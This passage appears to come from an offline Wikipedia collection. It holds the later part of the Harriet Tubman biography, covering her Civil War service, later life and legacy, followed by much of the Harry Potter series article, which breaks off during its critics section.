              Master Lincoln, he's a great man, and I am a poor negro; but the negro can tell master Lincoln how to save the money and the young men. He can do it by setting the negro free. Suppose that was an awful big snake down there, on the floor. He bite you. Folks all scared, because you die. You send for a doctor to cut the bite; but the snake, he rolled up there, and while the doctor doing it, he bite you again. The doctor dug out that bite; but while the doctor doing it, the snake, he spring up and bite you again; so he keep doing it, till you kill him. That's what master Lincoln ought to know.

            

          


          Tubman served as a nurse in Port Royal, preparing remedies from local plants and aiding soldiers suffering from dysentery. She even rendered assistance to men with smallpox; that she did not contract the disease herself started more rumors that she was blessed by God. At first, she received government rations for her work, but newly-freed blacks thought she was getting special treatment. To ease the tension, she gave up her right to these supplies and made money selling pies and root beer, which she made in the evenings.


          


          Scouting and the Combahee River Raid


          When Lincoln finally put the Emancipation Proclamation into effect in January 1863, Tubman considered it an important step toward the goal of liberating all black men, women, and children from slavery. She renewed her support for a defeat of the Confederacy, and before long she was leading a band of scouts through the land around Port Royal. The marshes and rivers in South Carolina were similar to those of the Eastern Shore of Maryland; thus her knowledge of covert travel and subterfuge among potential enemies were put to good use. Her group, working under the orders of Secretary of War Edwin M. Stanton, mapped the unfamiliar terrain and reconnoitered its inhabitants. She later worked alongside Colonel James Montgomery, and provided him with key intelligence which aided the capture of Jacksonville, Florida.
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          Later that year, Tubman became the first woman to lead an armed assault during the Civil War. When Montgomery and his troops conducted an assault on a collection of plantations along the Combahee River, Tubman served as a key adviser and accompanied the raid. On the morning of 2 June 1863, Tubman guided three steamboats around Confederate mines in the waters leading to the shore. Once ashore, the Union troops set fire to the plantations, destroying infrastructure and seizing thousands of dollars worth of food and supplies. When the steamboats sounded their whistles, slaves throughout the area understood that it was being liberated. Tubman watched as slaves stampeded toward the boats. "I never saw such a sight," she said later, describing a scene of chaos with women carrying still-steaming pots of rice, pigs squealing in bags slung over shoulders, and babies hanging around their parents' necks. Although their owners, armed with handguns and whips, tried to stop the mass escape, their efforts were nearly useless in the tumult. As Confederate troops raced to the scene, steamboats packed full of slaves took off toward Beaufort.


          More than seven hundred slaves were rescued in the Combahee River Raid. Newspapers heralded Tubman's "patriotism, sagacity, energy, [and] ability", and she was praised for her recruiting efforts: most of the newly-liberated men went on to join the Union army. Tubman later worked with Colonel Robert Gould Shaw at the assault on Fort Wagner, reportedly serving him his last meal. She described the battle by saying: "And then we saw the lightning, and that was the guns; and then we heard the thunder, and that was the big guns; and then we heard the rain falling, and that was the drops of blood falling; and when we came to get the crops, it was dead men that we reaped."


          For two more years, Tubman worked for the Union forces, tending to newly-liberated slaves, scouting into Confederate territory, and eventually nursing wounded soldiers in Virginia. She also made periodic visits back to Auburn, to visit her family and care for her parents. The Confederacy surrendered in April 1865; after donating several more months of service, Tubman headed home.


          Despite her years of service, she had never received a regular salary and was for years denied compensation. Her unofficial status and the unequal payments offered to black soldiers caused great difficulty in documenting her service, and the US government was slow in recognizing its debt to her. Tubman did not receive a pension for her service in the Civil War until 1899. Her constant humanitarian work for her family and former slaves, meanwhile, kept her in a state of constant poverty, and her difficulties in obtaining a government pension were especially taxing for her.


          When she returned to Auburn at the end of the war, Tubman tasted first-hand how little white Americans' opinions had changed toward black people. During a train ride to New York, the conductor told her to move into the smoking car. She refused, explaining her government service. He cursed at her and grabbed her, but she was stronger than he, and he summoned two other passengers for help. While she clutched at the railing, they muscled her away, breaking her arm in the process. They threw her into the smoking car, causing more injuries. As these events transpired, other white passengers cursed Tubman and shouted for the conductor to kick her off the train.
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          Later life


          Tubman spent her remaining years in Auburn, tending to her family and other people in need. She worked various jobs to support her elderly parents, and took in boarders to help pay the bills. One of the people she took in was a Civil War veteran named Nelson Davis. He began working in Auburn as a bricklayer, and they soon fell in love. Though he was twenty-two years younger than she was, on 18 March 1869, they were married at the Central Presbyterian Church. They spent the next twenty years together, and in 1874 they adopted a baby girl named Gertie.


          Her friends and supporters from the days of abolition, meanwhile, raised funds to support Tubman. One admirer, Sarah H. Bradford, wrote an authorized biography entitled Scenes in the Life of Harriet Tubman. The 132-page volume was published in 1869, and brought Tubman some US$1,200 in revenue. Criticized by modern biographers for its artistic license and highly subjective point of view, the book nevertheless remains an important source of information and perspective on Tubman's life. Bradford released another volume in 1886 called Harriet, the Moses of her People, which presented a less caustic view of slavery and the South. It too was published as a way to help alleviate Tubman's poverty.


          Because of the debt she had accumulated (including delayed payment for her property in Auburn), Tubman fell prey in 1873 to a swindle involving gold transfer. Two men, one named Stevenson and the other John Thomas, claimed to have in their possession a cache of gold smuggled out of South Carolina. They offered this treasure  worth about US$5,000, they claimed  for US$2,000 in cash. They insisted that they knew a relative of Tubman's, and she took them into her home, where they stayed for several days. She knew that white people in the south had buried valuables when Union forces threatened the region, and also that black men were frequently assigned to digging duties. Thus the situation seemed plausible, and a combination of her financial woes and her good nature led her to go along with the plan. She borrowed the money from a wealthy friend named Anthony Shimer, and arranged to receive the gold late one night. Once the men had lured her into the woods, however, they attacked her and knocked her out with chloroform, then stole her purse and bound and gagged her. When she was found by her family, she was dazed and injured, and the money was gone. New York responded with outrage to the incident, and while some chastised Tubman for her navit, most sympathized with her economic hardship and lambasted the con men. The incident refreshed the public's memory of her past service and her economic woes. Wisconsin Representative Gerry W. Hazelton introduced a bill (HR 3786) requesting Tubman be paid "the sum of $2,000 for services rendered by her to the Union Army as scout, nurse, and spy." It was defeated.


          
            [image: Susan B. Anthony worked with Tubman for women's suffrage.]

            
              Susan B. Anthony worked with Tubman for women's suffrage.
            

          


          


          Suffragist activism


          She also worked in her later years to promote the cause of women's suffrage. A white woman once asked Tubman whether she believed women ought to have the vote, and got the reply: "I suffered enough to believe it." Tubman began attending meetings of suffragist organizations, and was soon working alongside women such as Susan B. Anthony and Emily Howland.


          She traveled to New York, Boston, and Washington DC to speak out in favour of women's voting rights. She described her own actions during and after the Civil War, and used the sacrifices of countless women throughout modern history as evidence of women's equality to men. When the National Federation of Afro-American Women was founded in 1896, Tubman was the keynote speaker at its first meeting.


          This wave of activism kindled a new wave of admiration among the press in the United States. A publication called The Woman's Era launched a series of articles on "Eminent Women" with a profile of Tubman. An 1897 suffragist newspaper reported a series of receptions in Boston honoring Tubman and her lifetime of service to the nation. However, her endless contributions to others had left her in poverty, and she had to sell a cow to buy a train ticket to these celebrations.


          


          AME Zion Church, illness, and death
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          At the turn of the century, Tubman became heavily involved with the African Methodist Episcopal Zion Church in Auburn. In 1903, she donated a property she owned to the church, under the instruction that it be made into a home for "aged and indigent colored people". The home did not open for another five years, and Tubman was aggravated when the church ordered residents to pay a one-hundred-dollar entrance fee. She said: "[T]hey make a rule that nobody should come in without they have a hundred dollars. Now I wanted to make a rule that nobody should come in unless they didn't have no money at all." She was frustrated by the new rule, but was the guest of honour nonetheless when the Harriet Tubman Home for the Aged celebrated its opening on 23 June 1908.


          As she aged, the sleeping spells and suffering from her childhood head trauma continued to plague her. At some point in the late 1890s, she underwent brain surgery at Boston's Massachusetts General Hospital. Unable to sleep because of pains and "buzzing" in her head, she asked a doctor if he could operate. He agreed, and in her words, "sawed open my skull, and raised it up, and now it feels more comfortable." She had received no anesthesia for the procedure, and reportedly chose instead to bite down on a bullet, as she had seen Civil War soldiers do when their limbs were amputated.


          By 1911, her body was so frail that she had to be admitted into the rest home named in her honour. A New York newspaper described her as "ill and penniless", prompting supporters to offer a new round of donations. Surrounded by friends and family members, Harriet Tubman died of pneumonia on 10 March 1913. Just before she died, she told those in the room: "I go to prepare a place for you."


          


          Legacy


          Harriet Tubman, widely known and well-respected while she was alive, became an American icon in the years after her death. A survey at the end of the twentieth century named her as one of the most famous individuals in American history, third only to Betsy Ross and Paul Revere. She inspired generations of African Americans struggling for equality and civil rights; she was praised by leaders across the political spectrum.


          When she died, Tubman was buried with military honours at Fort Hill Cemetery in Auburn. The city commemorated her life with a plaque on the courthouse. Although it showed pride for her many achievements, its use of dialect ("I nebber run my train off de track")  apparently chosen for its authenticity  has been criticized for undermining her stature as an American patriot and dedicated humanitarian. Still, the dedication ceremony was a powerful tribute to her memory, and Booker T. Washington delivered the keynote address. The Harriet Tubman home was abandoned after 1920, but was later renovated by the AME Zion Church. Today, it welcomes visitors as a museum and education centre.


          Bradford's biographies were followed by Earl Conrad's Harriet Tubman: Negro Soldier and Abolitionist. Conrad had experienced a great difficulty in finding a publisher  the search took four years  and endured disdain and contempt for his efforts to construct a more objective, detailed account for adults. Several highly-dramatized versions of Tubman's life had been written for children  and many more came later  but Conrad wrote in an academic style to document the historical importance of her work for scholars and the nation's memory. It was finally published by Carter G. Woodson's Associated Publishers in 1942. Despite her popularity and significance, another Tubman biography for adults did not appear for sixty years, until Jean Humez published a close reading of Tubman's life stories in 2003, and Larson and Clinton both published their biographies in 2004.


          However, Tubman was celebrated in many other ways throughout the nation in the twentieth century. Dozens of schools were named in her honour, and both the Harriet Tubman Home in Auburn and the Harriet Tubman Museum in Cambridge serve as monuments to her life. In 1944 the United States Maritime Commission launched the SS Harriet Tubman, its first Liberty ship ever named for a black woman. In 1978, the United States Postal Service issued a stamp in honour of Tubman as the first in a series honoring African Americans. She is also listed as a saint by the Episcopal Church in the United States of America in its Book of Common Prayer.


          In the summer before becoming governor of New York, and while still the lieutenant governor, David Paterson said, "Harriet Tubman had the talent to escape her bondage, but she went back into the South over forty times to save her brothers and sisters from slavery, her strategy still studied at West Point Academy today."


          
            Retrieved from " http://en.wikipedia.org/wiki/Harriet_Tubman"
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          Harry Potter is a series of seven fantasy novels written by British author J. K. Rowling. The books chronicle the adventures of the eponymous adolescent wizard Harry Potter, together with Ron Weasley and Hermione Granger, his best friends. The central story arc concerns Harry's struggle against the evil wizard Lord Voldemort, who killed Harry's parents in his quest to conquer the wizarding world, after which he seeks to subjugate the Muggle (non-magical) world to his rule.


          Since the release of the first novel Harry Potter and the Philosopher's Stone in 1997, which was retitled Harry Potter and the Sorcerer's Stone in the United States, the books have gained immense popularity, critical acclaim and commercial success worldwide. The series has spawned films, video games and Potter-themed merchandise. As of April 2007, the first six books in the seven book series have sold more than 400 million copies and have been translated into more than 64 languages. The seventh and last book in the series, Harry Potter and the Deathly Hallows, was released on 21 July 2007. Publishers announced a record-breaking 12 million copies for the first print run in the U.S. alone.


          The success of the novels has made Rowling the highest-earning novelist in history. English language versions of the books are published by Bloomsbury in the United Kingdom, Scholastic Press in the United States, Allen & Unwin in Australia, and Raincoast Books in Canada.


          Thus far, the first five books have been made into a series of motion pictures by Warner Bros. The sixth, Harry Potter and the Half-Blood Prince, began filming in September 2007, with a scheduled release of 21 November 2008. The series also originated much tie-in merchandise, making the Harry Potter brand worth $15 billion.


          


          Overview


          


          Plot summary


          The story opens with the conspicuous celebration of a normally secretive wizarding world; for many years, it has been terrorised by the evil wizard, Lord Voldemort. On the previous night, October 31, Voldemort discovered the Potter family's hidden refuge, killing Lily and James Potter. However, when he attempted to murder their toddler son, Harry, the Avada Kedavra killing curse he cast rebounded upon him. Voldemort's body was destroyed, but his spirit survived: he is neither dead nor alive. Meanwhile, the orphaned Harry is left with a distinctive lightning bolt-shaped scar on his forehead, the only physical sign of Voldemort's curse. Harry is the only known survivor of the curse, and Voldemort's mysterious defeat causes the wizarding community to dub Harry "The Boy Who Lived". Harry (and the Dursleys) are protected by the enchantment that was produced when Harry's mother died while protecting him from Voldemort. This protection will last until his 17th birthday.


          On November 1, Hagrid, a 'half-giant', delivers Harry to his only living relatives, the cruel and magic-phobic Dursleys, comprising Uncle Vernon, a bad-tempered uncle; Aunt Petunia, a woman who appears to absolutely loathe Harry; and Dudley, their spoiled and overweight son. The Dursleys are in the words of Professor McGonagall, "the worst sort of Muggles imaginable" and seek to deny Harry his magical birthright by making up a false story about Harry's parents dying in a car accident. They treat Harry as a slave and force him to live in a small, cramped closet under the stairs at their Privet Drive home.


          However, as his eleventh birthday approaches, Harry has his first contact with the magical world when he begins receiving letters from Hogwarts School of Witchcraft and Wizardry, which are delivered by owls. Unfortunately, his uncle confiscates the letters before he can read them. Much to the Dursley's chagrin, Hogwarts is aware that Harry is not receiving the letters. However, the letters keep coming and Uncle Vernon decides to move the family (Harry included) to a deserted island off the coast, hoping that the letters will cease. At the stroke of midnight on Harry's eleventh birthday, Rubeus Hagrid (Hogwarts half-giant gamekeeper) kicks in the door of the house where they are staying, and presents Harry with a letter explaining that he is a wizard and has been selected to attend Hogwarts School of Witchcraft and Wizardry. Each book chronicles one year in Harry's life, which is mostly spent at Hogwarts. There he learns to use magic and brew potions. Harry also learns to overcome many magical, social, and emotional hurdles as he struggles through his adolescence, Voldemort's second rise to power, and the Ministry of Magic's corruption and incompetence. After facing many obstacles, forging lasting friendships, and losing countless loved ones, Harry Potter confronts the Dark Lord for the last time, and only one will survive.


          For a detailed synopsis of the novels, see the relevant article for each book.


          


          Universe


          


          The wizarding world in which Harry finds himself is both completely separate from and yet intimately connected to our own world. While the fantasy world of Narnia is an alternative universe and the Lord of the Rings Middle-earth a mythic past, the wizarding world of Harry Potter exists alongside that of the real world and contains magical elements similar to things in the non-magical world. Many of its institutions and locations are in towns and cities, including London for example, which are recognisable in the real world. It possesses a fragmented collection of hidden streets, overlooked and ancient pubs, lonely country manors and secluded castles that remain invisible to the non-magical population (known as " Muggles"; e.g. the world of the reader). Wizard ability is inborn, rather than learned, although one must attend schools such as Hogwarts in order to master and control it. However, it is possible for wizard parents to have children who are born with little or no magical ability at all (known as " Squibs"; e.g., Mrs. Figg, Argus Filch). Since one is either born a wizard or not, most wizards are unfamiliar with the Muggle world. The magical world and its many fantastic elements are depicted in a matter-of-fact way. This juxtaposition of the magical and the mundane is one of the principal motifs in the novels; the characters in the stories live normal lives with normal problems, for all their magical surroundings. 


          Chronology


          The books mainly avoid setting the story in a particular real year; however, there are a few references, which allow the books, and various past events mentioned in them to be assigned corresponding real years. The time line is sufficiently set in Chamber of Secrets, in which Nearly-Headless Nick remarks that it is the five-hundredth anniversary of his death on October 31, 1492; thus, Chamber of Secrets takes place from 1992 to 1993. This chronology was again reiterated in Deathly Hallows, in which the date of death on James and Lily Potter's gravestone is October 31, 1981. Thus, as Harry was a year old at the time of his parents' murders, his year of birth is 1980 and the main action of the story takes place from 1991 (the second chapter of Philosopher's Stone) to 1998 (the end of Deathly Hallows). Interviewed for an ITV documentary broadcast in December 2007, Rowling stated that the final battle with Voldemort's forces takes place on 2 May 1997, however, this would seem to be a mistake, and that the actual date should be 2 May 1998, fitting in with the dates given in Chamber of Secrets and Deathly Hallows.


          


          Series


          
            	Harry Potter and the Philosopher's Stone ( 26 June 1997) (titled Harry Potter and the Sorcerer's Stone in the United States)


            	Harry Potter and the Chamber of Secrets (released 2 July 1998)


            	Harry Potter and the Prisoner of Azkaban ( 8 July 1999)


            	Harry Potter and the Goblet of Fire ( 8 July 2000)


            	Harry Potter and the Order of the Phoenix ( 21 June 2003)


            	Harry Potter and the Half-Blood Prince ( 16 July 2005)


            	Harry Potter and the Deathly Hallows ( 21 July 2007)

          


          
            	All seven books in the series have been released in the English language as audiobooks. The UK editions are performed by Stephen Fry, while the American versions by Jim Dale.

          


          Supplementary books


          
            	Fantastic Beasts and Where to Find Them (2001)


            	Quidditch Through the Ages (2001)


            	The Tales of Beedle the Bard (2007)

          


          


          Origins and publishing history


          


          In 1990, J. K. Rowling was on a crowded train from Manchester to London when the idea for Harry suddenly formed in her mind. Rowling gives an account of the experience on her website saying:


          
            
              	

              	I had been writing almost continuously since the age of six but I had never been so excited about an idea before. I simply sat and thought, for four (delayed train) hours, and all the details bubbled up in my brain, and this scrawny, black-haired, bespectacled boy who did not know he was a wizard became more and more real to me.

              	
            

          


          In 1995, Harry Potter and the Philosopher's Stone was completed and the manuscript was sent off to prospective agents. The second agent she tried, Christopher Little, offered to represent her and sent the manuscript to Bloomsbury. After eight other publishers had rejected Philosopher's Stone, Bloomsbury offered Rowling a 2,500 advance for its publication.


          Despite Rowling's statement that she did not have any particular age group in mind when she began to write the Harry Potter books, the publishers initially targeted them at children age nine to eleven. On the eve of publishing, Joanne Rowling was asked by her publishers to adopt a more gender-neutral pen name, in order to appeal to the male members of this age group, fearing that they would not be interested in reading a novel they knew to be written by a woman. She elected to use J. K. Rowling (Joanne Kathleen Rowling), using her grandmother's name as her second name, because she has no middle name.


          The first Harry Potter book was published in the United Kingdom by Bloomsbury in July 1997 and in the United States by Scholastic in September 1998, but not before Rowling had received $105,000 for the American rights an unprecedented amount for a children's book by a then unknown author. Fearing that American readers would not associate the word "philosopher" with a magical theme (as a Philosopher's Stone is alchemy-related), Scholastic insisted that the book be given the title Harry Potter and the Sorcerer's Stone for the American market.


          Rowling's publishers were able to capitalise on this buzz by the rapid, successive releases of the first four books that allowed neither Rowling's audience's excitement nor interest to wane while she took a break from writing between the release of Harry Potter and the Goblet of Fire and Harry Potter and the Order of the Phoenix, and also quickly solidified a loyal readership. The series has also gathered adult fans, leading to two editions of each Harry Potter book being released (in markets other than the United States), identical in text but with one edition's cover artwork aimed at children and the other aimed at adults.


          


          Completion of the series


          In December 2005, Rowling stated on her web site, "2006 will be the year when I write the final book in the Harry Potter series." Updates have since followed in her online diary chronicling the progress of Harry Potter and the Deathly Hallows, with the release date of 21 July 2007.


          The book itself was finished on 11 January 2007 in the Balmoral Hotel, Edinburgh, where she scrawled a message on the back of a bust of Hermes. It read: JK Rowling finished writing Harry Potter and the Deathly Hallows in this room (652) on 11 January 2007.


          Rowling herself has stated that the last chapter of the seventh book (in fact, the epilogue) was completed "in something like 1990".


          In June 2006, Rowling, on an appearance on the British talk show Richard & Judy, announced that the chapter had been modified as one character "got a reprieve" and two others who previously survived the story had in fact been killed. She also said she could see the logic in killing off Harry to stop other writers from writing books about Harry's life after Hogwarts.


          On March 28, 2007, the cover art for the Bloomsbury Adult and Child versions and the Scholastic version were released.


          


          After Deathly Hallows


          Rowling spent seventeen years writing the seven Harry Potter books. In a 2000 interview through Scholastic, her American publisher, Rowling stated that there is not a university after Hogwarts. Concerning the series continuing past book seven, she stated, "I will not say never, but I have no plans to write an eighth book." She has since said that if she does write an eighth book Harry Potter will not be the central character, as his story has been told, and that she would not begin such a project for at least ten years.


          When asked about writing other Harry Potter-related books similar to Quidditch Through the Ages and Fantastic Beasts and Where to Find Them, she has said that she might consider doing this with proceeds donated to charity, as was the case with those two books. Another suggestion is an encyclopaedia-style tome containing information that never made it into the series, also for charity. She has revealed she is currently penning two books, one for children and one not for children.


          In February 2007 Rowling issued a statement on her website about finishing the final book, in which she compared her mixed feelings of "mourning" and "incredible sense of achievement" to those expressed by Charles Dickens in the preface of the 1850 edition of David Copperfield, "a two-years' imaginative task." "To which," she added, "I can only sigh, try seventeen years, Charles"


          On July 24, 2007, Rowling announced in an interview that she "probably will" write an encyclopaedia of the Harry Potter world, which would include background information cut from the narrative as well as post-Deathly Hallows information, including details of what happens to the other characters, who the new Hogwarts headmaster is, and more. Rowling refers to the encyclopedia as the "Scottish Book", a take on the Scottish play.


          In a 90-minute live Web chat, Rowling revealed what several of the characters did in the years between the conclusion of the book and the epilogue.


          


          Translations


          


          The series has been translated into 65 languages, placing Rowling among the most translated authors in history. The first translation was into American English, as many words and concepts used by the characters in the novels may have been misleading to a young American audience. Subsequently the books have seen translations in languages as diverse as Ukrainian, Hindi, Bengali, Welsh, Afrikaans and Vietnamese. The first volume has been translated into Latin and even Ancient Greek, making it the longest published work in that language since the novels of Heliodorus of Emesa in the 3rd century AD.


          The high profile and huge public demand for a decent local translation means that a great deal of care is often taken in the task. In some countries such as Italy, the first book was revised by the publishers and issued in an updated edition, in response to feedback from readers. In countries such as China and Portugal, the translation is conducted by a group of translators working together to save time. Some of the translators hired to work on the books were quite well known prior to their work on Harry Potter, such as Viktor Golyshev, who oversaw the Russian translation of the series' fifth book. Golyshev was previously best known for translating William Faulkner and George Orwell; his tendency to snub the Harry Potter books in interviews and refer to them as inferior literature may be the reason he did not return to work on later books in the series. The Turkish translation of books two to seven was undertaken by Sevin Okyay, a popular literary critic and cultural commentator. For reasons of secrecy, translation can only start when the books are released in English; thus there is a lag of several months before the translations are available. This has led to more and more copies of the English editions being sold to impatient fans in non-English speaking countries. Such was the clamour to read the fifth book that its English language edition became the first English-language book ever to top the bestseller list in France.


          


          Literary analysis


          


          Structure and genre


          The novels are very much in the fantasy genre; in many respects they are also bildungsromans, coming of age novels. The stories are predominantly set in Hogwarts, a British boarding school for wizards, where the curriculum includes the use of magic. In this sense they are "in a direct line of descent from Thomas Hughes's Tom Brown's School Days and other Victorian and Edwardian novels of British public school life". They are also, in the words of Stephen King, "shrewd mystery tales", and each book is constructed in the manner of a Sherlock Holmes-style mystery adventure; the books leave a number of clues hidden in the narrative, while the characters pursue a number of suspects through various exotic locations, leading to a twist ending that often reverses what the characters had been led to believe. The stories are told from a third person limited point of view; with very few exceptions (such as the opening chapters of Philosopher's Stone and Deathly Hallows and the first two chapters of Half-Blood Prince), the reader learns the secrets of the story when Harry does. The thoughts and plans of other characters, even central ones such as Hermione and Ron, are kept hidden until revealed to Harry.


          The books tend to follow a very strict formula. Set over the course of consecutive years, they each begin with Harry at home with the Dursleys in the Muggle world, enduring their ill treatment. Subsequently, Harry goes to a specific magical location ( Diagon Alley, the Weasleys' residence or Number Twelve, Grimmauld Place) for a period before beginning school, which he commences by boarding the school train at Platform 9. Once at school, new or redefined characters take shape, and Harry overcomes new everyday school issues, such as difficult essays, awkward crushes, and unsympathetic teachers. The stories reach their climax near or just after final exams, when Harry confronts either Voldemort or one of his Death Eaters. In the aftermath, he learns important lessons through exposition and discussions with Albus Dumbledore. This formula was completely broken in the final novel, Harry Potter and the Deathly Hallows, in which Harry and his friends spend most of their time away from Hogwarts, and only return there to face Voldemort at the climax.


          


          Themes


          According to Rowling, a major theme in the series is the theme of death. She says:


          
            
              	

              	My books are largely about death. They open with the death of Harry's parents. There is Voldemort's obsession with conquering death and his quest for immortality at any price, the goal of anyone with magic. I so understand why Voldemort wants to conquer death. We're all frightened of it.

              	
            

          


          Rowling has stated that the books comprise "a prolonged argument for tolerance, a prolonged plea for an end to bigotry" and that also pass on a message to "question authority and not assume that the establishment or the press tells you all of the truth".


          While the books could be said to comprise many other themes, such as power/abuse of power, love, prejudice, and choice, they are, as J.K. Rowling states, "deeply entrenched in the whole plot"; the writer prefers to let themes "grow organically", rather than sitting down and consciously attempting to impart such ideas to her readers. Along the same lines is the ever-present theme of adolescence, in whose depiction Rowling has been purposeful in acknowledging her characters' sexualities and not leaving Harry, as she put it, "stuck in a state of permanent pre-pubescence".


          Rowling said that, to her, the moral significance of the tales seems "blindingly obvious." The key for her was the choice between what is right and what is easy, "because that, that is how tyranny is started, with people being apathetic and taking the easy route and suddenly finding themselves in deep trouble."


          


          Achievements


          


          Cultural impact


          Since the publishing of Philosopher's Stone a number of societal trends have been attributed to the series.


          The most notable trend attributed to Harry Potter has been an increase in literacy among the young. Anecdotal evidence suggesting such an increase was seemingly confirmed in 2006 when the Kids and Family Reading Report (in conjunction with Scholastic) released a survey finding that 51% of Harry Potter readers ages 517 said that while they did not read books for fun before they started reading Harry Potter, they now did. The study further reported that according to 65% of children and 76% of parents, they or their children's performance in school improved since they started reading the series. Charlie Griffiths, director of the National Literacy Association, said "Anyone who can persuade children to read should be treasured and what Rowling has given us in Harry Potter is little short of miraculous." British Prime Minister Gordon Brown, a long time fan, said, "I think JK Rowling has done more for literacy around the world than any single human being."


          Indeed as the series progresses, each book gets progressively longer, developing along with the reader's literary abilities. A word-count comparison shows how each book, save the sixth, is longer than its predecessor, requiring greater concentration and longer attention spans to complete. This fact in itself can be seen as contributory to improved literary abilities in children who tackle the series.


          In 2005, doctors at the John Radcliffe Hospital in Oxford reported that their research of the weekends of Saturday 21 June 2003 and Saturday 16 July 2005 (the release dates of the Order of the Phoenix and the Half-Blood Prince, respectively) found that only 36 children needed emergency medical assistance for injuries sustained in accidents, as opposed to other weekends' average of 67.
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          Notable also is the development of a massive following of fans. So eager were these fans for the latest series release that bookstores around the world began holding events to coincide with the midnight release of the books, beginning with the 2000 publication of Harry Potter and the Goblet of Fire. The events, commonly featuring mock sorting, games, face painting, and other live entertainment have achieved popularity with Potter fans and have been incredibly successful at attracting fans and selling books with nearly nine million of the 10.8 million initial print copies of Harry Potter and the Half-Blood Prince sold in the first 24 hours. Among this large base of fans are a minority of "super-fans", similar to the Trekkies of the Star Trek fandom. Besides meeting online through blogs, podcasts, and fansites, Harry Potter super-fans can also meet at Harry Potter symposia. These events draw people from around the world to attend lectures, discussions and a host of other Potter themed activities.


          The Harry Potter books have inspired the " wizard rock" movement, where a number of bands were formed whose names, image and song lyrics relate to the Harry Potter world. Examples include Harry and the Potters and The Cruciatus Curse.


          Harry Potter has also brought changes in the publishing world, one of the most noted being the reformation of the New York Times Best Seller list. The change came immediately preceding the release of Goblet of Fire in 2000 when publishers complained of the number of slots on the list being held by Harry Potter and other children's books. The Times subsequently created a separate children's list for Harry Potter and other children's literature.


          The word muggle has spread beyond its Harry Potter origins, used by many groups to indicate those who are not aware or are lacking in some skill. In 2003, "muggle", entered the Oxford English Dictionary with that definition.


          There is an accredited course at California State University, Bakersfield devoted to the literature of Harry Potter titled "The World of Harry Potter."


          The 2007 Iowa State Fair featured a statue of Harry Potter sculpted entirely out of butter. The sculpture was based on Harry's appearance in Harry Potter and the Deathly Hallows, and featured sculptures of Harry's owl Hedwig and his school trunk as depicted at the beginning of the book.


          


          Awards and honours


          J.K. Rowling and the Harry Potter series have been the recipients of a host of awards since the initial publication of Philosopher's Stone including four Whitaker Platinum Book Awards (all of which were awarded in 2001), three Nestl Smarties Book Prizes (19971999), two Scottish Arts Council Book Awards (1999 and 2001), the inaugural Whitbread children's book of the year award, (1999), the WHSmith book of the year (2006), among others. In 2000, Harry Potter and the Prisoner of Azkaban was nominated for Best Novel in the Hugo Awards while in 2001, Harry Potter and the Goblet of Fire won said award. Honours include a commendation for the Carnegie Medal (1997), a short listing for the Guardian Children's Award (1998), and numerous listings on the notable books, editors' Choices, and best books lists of the American Library Association, New York Times, Chicago Public Library, and Publishers Weekly.


          


          Commercial success


          In November 2007, the magazine Advertising Age estimated the total value of the Harry Potter brand at roughly $15 billion (7 billion). The popularity of the Harry Potter series has translated into substantial financial success for Rowling, her publishers, and other Harry Potter related license holders. This success has made Rowling the first and thus far only billionaire author. The books have sold over 325 million copies worldwide and have also given rise to the popular film adaptations produced by Warner Bros., all of which have been successful in their own right with the first, Harry Potter and the Philosopher's Stone, ranking number four on the inflation-unadjusted list of all-time highest grossing films and the other four Harry Potter films each ranking in the top 20. The films have in turn spawned five video games and have in conjunction with them led to the licensing of over 400 additional Harry Potter products (including an iPod) that have, as of July 2005, made the Harry Potter brand worth an estimated 4 billion US dollars and J.K. Rowling a US dollar billionaire, making her, by some reports, richer than Queen Elizabeth II, however, Rowling has stated that this is false.


          On 12 April 2007, Barnes & Noble declared that Deathly Hallows has broken its pre-order record, with over 500,000 copies pre-ordered through its site.


          A Maine bookseller said she had to sign a legal form stating that she would not open the boxes of Harry Potter and the Half-Blood Prince until their official release date at midnight, and that she would cover the boxes with blankets in her back room so they would not be seen. For the release of Harry Potter and the Deathly Hallows, extra security was added by limiting the number of librarians who handle the book prior to its release. Those who failed to comply with the written agreement, which employees were required to sign, would jeopardise those libraries' access to "future embargoed titles." Prior to the release of Deathly Hallows, the BBC reported that some booksellers and libraries may have been tempted to break the embargo for publicity, as there were no future Potter books to be banned from selling.


          For the release of Goblet of Fire, 9000 FedEx trucks were used with no other purpose than to deliver the book. Together, Amazon.com and Barnes & Noble pre-sold more than 700,000 copies of the book. In the United States, the book's initial printing run was 3.8 million copies. This record statistic was broken by Harry Potter and the Order of the Phoenix, with 8.5 million, which was then shattered by Half-Blood Prince with 10.8 million copies. 6.9 million copies of Prince were sold in the U.S. within the first 24 hours of its release; in the United Kingdom more than two million copies were sold on the first day. The initial print run for Deathly Hallows was 12 million copies, and over a million were pre-ordered through Amazon and Barnes & Noble.


          Others have claimed that sales of the Harry Potter books have not been highly profitable for book retailers. Intense competition to offer the best price on the popular novels has whittled away expected revenue. The suggested retail for Harry Potter and the Deathly Hallows was $35 but Amazon.com offered the book at a discounted price of $18, with other major chains following suit to remain competitive. Some hope that the frenzy associated with the book will create sales of other items when customers are drawn to bookstores. Other small, independent sellers have tried to protect revenues necessary to keep them in business by selling the book at the suggested cover price but offering other "add-on" items like Potter memorabilia or coupons towards other purchases.


          


          Criticism, praise, and controversy


          


          Literary critics


          Early in its history, Harry Potter received overwhelmingly positive reviews, which helped the series to quickly grow a large readership. Upon its publication, the first volume, Harry Potter and the Philosopher's Stone, was greatly praised by most of Britain's major newspapers: the Mail on Sunday rated it as "the most imaginative debut since Roald Dahl"; a view echoed by the Sunday Times ("comparisons to Dahl are, this time, justified"), while The Guardian called it "a richly textured novel given lift-off by an inventive wit" and The Scotsman said it had "all the makings of a classic".


          By the time of the release of the fifth volume, Harry Potter and the Order of the Phoenix, the books began to receive strong criticism from a number of literary scholars. Yale professor, literary scholar and critic Harold Bloom raised pungent criticisms of the books' literary merits, saying, Rowling's mind is so governed by clichs and dead metaphors that she has no other style of writing." A. S. Byatt authored a New York Times op-ed article calling Rowling's universe a  secondary world, made up of intelligently patchworked derivative motifs from all sorts of children's literature written for people whose imaginative lives are confined to TV cartoons, and the exaggerated (more exciting, not threatening) mirror-worlds of soaps, reality TV and celebrity gossip".


          The critic Anthony Holden wrote in The Observer on his experience of judging Harry Potter and the Prisoner of Azkaban for the 1999 Whitbread Awards. His overall view of the series was very negative"the Potter saga was essentially patronising, very conservative, highly derivative, dispiritingly nostalgic for a bygone Britain," and he speaks of "pedestrian, ungrammatical prose style."


